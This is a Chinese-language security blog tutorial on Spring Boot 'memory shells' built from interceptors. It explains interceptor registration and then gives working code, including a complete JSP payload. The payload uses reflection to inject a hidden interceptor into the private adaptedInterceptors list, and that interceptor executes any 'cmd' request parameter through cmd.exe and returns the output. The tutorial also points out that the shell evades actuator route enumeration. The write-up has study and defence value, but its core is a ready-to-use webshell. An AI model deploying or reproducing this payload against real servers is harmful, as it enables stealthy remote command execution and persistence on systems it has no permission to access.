原理分析 | Interceptor —— SpringBoot 内存马
目录
前言
还是利用上篇的环境,这篇写 Interceptor 内存马。
Interceptor 和 Controller 内存马最大的区别在于:Controller 内存马注册了一个新路径 /shell,只有访问这个路径才触发;Interceptor 内存马不产生新路径,塞进拦截器链之后,任意请求都会触发,隐蔽性更强。
Interceptor 是什么
Interceptor 类似 Filter 的拦截,功能上很像,都是拦截请求在业务逻辑前后做处理,但层级不同:
1 2 3 4 5 6 7 8 9
| 请求进来 ↓ Filter(Tomcat层,最外层) ↓ DispatcherServlet ↓ Interceptor(Spring层,更靠近Controller) ↓ Controller
|
Interceptor 有三个方法:
| 方法 |
执行时机 |
说明 |
preHandle |
Controller 执行之前 |
返回 false 就拦截,不往下走 |
postHandle |
Controller 执行之后 |
可以修改响应 |
afterCompletion |
响应渲染完成后 |
清理资源用 |
内存马注入的是 preHandle,请求一进来就执行命令。
常见用途对比:
|
Filter |
Interceptor |
| 鉴权登录校验 |
✓ |
✓ |
| 日志记录 |
✓ |
✓ |
| 跨域处理 |
✓ |
✓ |
| 请求参数修改 |
✓ |
✗(太晚了) |
| 获取 Controller 信息 |
✗ |
✓(handler 参数) |
| 操作 ModelAndView |
✗ |
✓(postHandle) |
实际开发中:
- Filter 更多做通用处理,比如编码设置、跨域、IP 黑名单
- Interceptor 更多做业务层面的拦截,比如登录校验、权限验证、接口耗时统计
开发者写 Filter 只需写 @WebFilter 一个注解搞定,但 Interceptor 稍微麻烦一点,需要自己注册,下面先看正常的静态注册流程。
静态注册原理
静态注册的整体流程:
1 2 3 4 5 6 7
| WebConfig.addInterceptors(registry) ↓ registry.addInterceptor(evilInterceptor) ↓ Spring 内部把它塞进 adaptedInterceptors 这个 List ↓ 等待请求触发
|
一、Spring 怎么知道要调 addInterceptors()
Spring 启动时会扫描所有实现了 WebMvcConfigurer 接口的类,然后自动调用接口里定义的所有方法。前提是类被 Spring 管理,必须有注解:
1 2 3 4 5
| 有 @Configuration / @Component 注解 + 实现了 WebMvcConfigurer 接口 ↓ Spring 启动时才会扫描到并调用 addInterceptors()
|
类比 Filter:
1 2 3 4 5 6 7
| @WebFilter("/*") public class MyFilter implements Filter { ... }
@Configuration public class WebConfig implements WebMvcConfigurer { ... }
|
Tomcat 启动时找所有 Filter 实现类调 doFilter,Spring 启动时找所有 WebMvcConfigurer 实现类调 addInterceptors,思路是一样的:
1 2 3 4 5 6 7 8 9
| public interface Filter { void doFilter(...); }
public interface WebMvcConfigurer { void addInterceptors(InterceptorRegistry registry); }
|
二、registry 从哪来的
registry 是 Spring 传进来的,不是自己创建的:
1 2 3 4
| public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new EvilInterceptor()); }
|
类比快递:Spring 是快递公司,registry 是给你的收件箱,你往里放拦截器,快递公司拿走统一处理,不需要关心 registry 怎么来的。
三、addInterceptors() 执行完之后怎么进 adaptedInterceptors
1 2 3 4 5 6 7
| 调用 registry.addInterceptor(evilInterceptor) ↓ registry 内部把 evilInterceptor 存进自己的临时 List ↓ Spring 拿到 registry,把里面的拦截器取出来 ↓ 塞进 AbstractHandlerMapping.adaptedInterceptors
|
类比 Filter 注册:
1 2 3 4 5 6 7 8
| standardContext.addFilterDef(filterDef); standardContext.addFilterMapBefore(filterMap); filterConfigs.put("evil", filterConfig);
registry.addInterceptor(evilInterceptor);
|
内存马之所以要反射,就是跳过 registry 这个中转站,直接往 adaptedInterceptors 里塞。因为启动阶段结束之后 Spring 就不再扫描 WebMvcConfigurer 了,registry 也消失了,运行时唯一能访问到的入口就是 adaptedInterceptors:
1 2
| adaptedInterceptors.add(evilInterceptor);
|
串起来对比:
1 2 3 4 5 6 7 8 9 10
| 静态注册: WebConfig.addInterceptors(registry) → registry.addInterceptor(拦截器) → Spring 把 registry 里的拦截器转移到 adaptedInterceptors → 等待请求触发
动态注册(内存马): 反射拿到 adaptedInterceptors → 直接 add(恶意拦截器) → 等待请求触发
|
两种方式最终结果一样,都是把拦截器塞进 adaptedInterceptors,只是路径不同。
静态注册 Demo
先写一个正常的静态 Interceptor 看看效果,再上内存马。
EvilInterceptor.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package com.example.demos.web;
import org.springframework.stereotype.Component; import org.springframework.web.servlet.HandlerInterceptor;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;
@Component
public class EvilInterceptor implements HandlerInterceptor {
@Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { System.out.println("preHandle 触发了,请求路径:" + request.getRequestURI()); return true; }
@Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, org.springframework.web.servlet.ModelAndView modelAndView) { System.out.println("postHandle 触发了"); }
@Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) { System.out.println("afterCompletion 触发了"); } }
|
WebConfig.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package com.example.demos.web;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import org.springframework.web.servlet.config.annotation.InterceptorRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Component
public class WebConfig implements WebMvcConfigurer {
@Autowired private EvilInterceptor evilInterceptor;
@Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(evilInterceptor) .addPathPatterns("/**"); } }
|
随便访问一个路径就会触发,访问 http://127.0.0.1:8080/hello,即使路径不存在也能被触发。
因为 Interceptor 是在 DispatcherServlet 之后、Controller 之前触发的,不管路径存不存在,只要请求进了 DispatcherServlet 就会过拦截器:
1 2 3 4 5 6 7 8 9 10 11
| 请求 /不存在的路径 ↓ DispatcherServlet 接收 ↓ Interceptor.preHandle() 触发 ← 这里已经触发了 ↓ 查路由表找不到对应 Controller ↓ 转发到 /error ↓ Interceptor.preHandle() 再触发一次 ← /error 也过一遍
|

控制台可以看到三个方法依次触发:preHandle → postHandle → afterCompletion。
动态注册(内存马)
思路就是找到 adaptedInterceptors,构造恶意 Interceptor 塞进去。
Step 1:拿到 handlerMapping
和 Controller 内存马一样,从 Spring 容器里取:
1 2 3 4 5 6 7 8 9
| @Autowired private RequestMappingHandlerMapping handlerMapping;
WebApplicationContext context = WebApplicationContextUtils .getWebApplicationContext(request.getServletContext()); RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);
|
Step 2:反射拿到 adaptedInterceptors
这个字段是私有的,而且在父类 AbstractHandlerMapping 里,getDeclaredField 只找当前类不找父类,所以要遍历父类找:
1 2 3 4 5
| RequestMappingHandlerMapping ← handlerMapping 的实际类型,没有这个字段 ↑ 继承 RequestMappingInfoHandlerMapping ← 没有这个字段 ↑ 继承 AbstractHandlerMapping ← adaptedInterceptors 在这里
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Field field = null;
Class<?> clazz = handlerMapping.getClass(); while (clazz != null) { try { field = clazz.getDeclaredField("adaptedInterceptors"); break; } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } field.setAccessible(true); List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) field.get(handlerMapping);
|
field.get(handlerMapping) 是取 handlerMapping 这个对象里 adaptedInterceptors 字段的值,必须传入对象,因为这是实例字段不是静态字段。
Step 3:构造恶意 Interceptor 塞进去
这里用的是匿名内部类,和 Filter 内存马一样的写法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public class EvilInterceptor implements HandlerInterceptor { ... } EvilInterceptor evil = new EvilInterceptor(); adaptedInterceptors.add(evil);
adaptedInterceptors.add(new HandlerInterceptor() { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.isEmpty()) { ... return false; } return true; } });
|
和静态注册对比:
1 2 3 4 5
| 静态注册: registry.addInterceptor() → Spring 转移到 adaptedInterceptors
动态注册: 反射拿到 adaptedInterceptors → 直接 add()
|
跳过了 registry 中转,直接操作最终存储的 List,效果完全一样。
JSP Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.springframework.web.context.WebApplicationContext" %> <%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %> <%@ page import="org.springframework.web.servlet.HandlerInterceptor" %> <%@ page import="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.List" %>
<% WebApplicationContext context = WebApplicationContextUtils .getWebApplicationContext(request.getServletContext()); RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = null; Class<?> clazz = handlerMapping.getClass(); while (clazz != null) { try { field = clazz.getDeclaredField("adaptedInterceptors"); break; } catch (NoSuchFieldException e) { clazz = clazz.getSuperclass(); } } field.setAccessible(true); List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) field.get(handlerMapping);
adaptedInterceptors.add(new HandlerInterceptor() { @Override public boolean preHandle(javax.servlet.http.HttpServletRequest request, javax.servlet.http.HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.isEmpty()) { ProcessBuilder pb = new ProcessBuilder("cmd.exe", "/c", cmd); pb.redirectErrorStream(true); Process process = pb.start(); java.io.InputStream is = process.getInputStream(); java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); byte[] buf = new byte[1024]; int len; while ((len = is.read(buf)) != -1) { baos.write(buf, 0, len); } response.getWriter().write(baos.toString()); return false; } return true; } });
response.getWriter().write("注入成功!任意路径带上 ?cmd=whoami 验证"); %>
|
验证
访问 http://127.0.0.1:8080/inject.jsp 触发注入:

访问 http://127.0.0.1:8080/?cmd=whoami,任意路径带上 cmd 参数都能触发,不需要特定路径:

重启后直接访问报错,证明内存马生效,重启即失效:

总结
Interceptor 内存马三步:
1 2 3 4 5
| 拿到 handlerMapping(Spring 容器里取) ↓ 反射遍历父类找到 adaptedInterceptors(私有字段,在 AbstractHandlerMapping 里) ↓ add(恶意 Interceptor) 塞进拦截器链
|
和前几种内存马横向对比:
|
Filter 内存马 |
Controller 内存马 |
Interceptor 内存马 |
| 触发方式 |
任意请求 |
访问指定路径 |
任意请求 |
| 作用层 |
Tomcat 层 |
Spring 层 |
Spring 层 |
| 注册方式 |
反射修改私有集合 |
官方公开 API |
反射修改私有字段 |
| 隐蔽性 |
高 |
中(路由可枚举) |
高 |
Controller 内存马用的是官方公开 API registerMapping(),Interceptor 内存马则要反射硬改私有字段,因为 Spring 没有提供运行时动态注册拦截器的公开接口。隐蔽性上 Interceptor 比 Controller 强,不产生新路由,Actuator /actuator/mappings 枚举不到,任意路径都能触发,更接近 Filter 内存马的效果。